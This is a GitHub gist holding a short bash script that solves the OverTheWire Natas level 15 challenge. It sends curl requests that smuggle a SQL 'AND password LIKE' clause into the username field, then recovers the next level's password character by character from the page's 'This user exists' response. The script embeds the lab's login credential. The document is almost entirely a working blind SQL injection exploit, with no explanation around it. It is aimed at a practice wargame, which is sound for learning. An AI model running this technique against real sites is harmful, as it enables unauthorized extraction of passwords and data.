Skip to content

Instantly share code, notes, and snippets.

@nategraf
Created July 19, 2016 01:34
Show Gist options
  • Save nategraf/4adfc9cedf92957d6712fae1338536ad to your computer and use it in GitHub Desktop.
Save nategraf/4adfc9cedf92957d6712fae1338536ad to your computer and use it in GitHub Desktop.
#/usr/bin/env bash
pw="";
again="true";
while [ "$again" = "true" ]; do
again="false";
for c in {{A..Z},{a..z},{0..9},+,/,=}; do
echo "$pw$c%";
if curl http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php --form "username=natas16\" AND password LIKE \"$pw$c%" | grep -q "This user exists"; then
again="true";
pw="$pw$c";
break;
fi;
done;
done;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment